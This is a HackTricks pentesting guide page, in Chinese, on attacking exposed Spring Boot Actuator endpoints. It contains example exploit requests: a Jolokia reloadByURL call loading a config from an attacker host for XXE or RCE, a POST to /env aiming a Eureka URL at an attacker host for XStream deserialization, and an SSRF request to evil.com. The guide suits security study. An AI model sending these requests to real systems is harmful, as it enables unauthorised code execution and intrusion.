hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

5.1 KiB
Raw Blame History

Spring Actuators

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

Spring Auth Bypass

来自 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploiting Spring Boot Actuators

查看原始帖子 [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

关键点:

  • Spring Boot Actuators注册诸如/health/trace/beans/env等端点。在1到1.4版本中这些端点可以在无需身份验证的情况下访问。从1.5版本开始,默认情况下只有/health/info是非敏感的,但开发人员经常禁用此安全性。
  • 某些Actuator端点可能会暴露敏感数据或允许有害操作
  • /dump/trace/logfile/shutdown/mappings/env/actuator/env/restart/heapdump
  • 在Spring Boot 1.x中actuators注册在根URL下而在2.x中它们在/actuator/基本路径下。

利用技术:

  1. 通过'/jolokia'实现远程代码执行:
  • /jolokia actuator端点暴露了Jolokia库允许通过HTTP访问MBeans。
  • reloadByURL操作可被利用以从外部URL重新加载日志配置这可能导致通过精心制作的XML配置进行盲目XXE或远程代码执行。
  • 示例利用URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
  1. 通过'/env'修改配置:
  • 如果存在Spring Cloud库/env端点允许修改环境属性。
  • 可以操纵属性以利用漏洞例如Eureka serviceURL中的XStream反序列化漏洞。
  • 示例利用POST请求:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. 其他有用的设置:
  • 诸如spring.datasource.tomcat.validationQueryspring.datasource.tomcat.urlspring.datasource.tomcat.max-active等属性可以被操纵以进行各种利用例如SQL注入或更改数据库连接字符串。

附加信息:

  • 可在此处找到默认actuators的全面列表。
  • Spring Boot 2.x中的/env端点使用JSON格式进行属性修改但一般概念保持不变。

相关主题:

  1. Env + H2 RCE:
  • 有关利用/env端点和H2数据库组合的详细信息请参阅此处
  1. 通过不正确的路径名解释在Spring Boot上进行SSRF:
  • Spring框架对HTTP路径名中的矩阵参数(;)的处理可被利用进行服务器端请求伪造SSRF
  • 示例利用请求:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式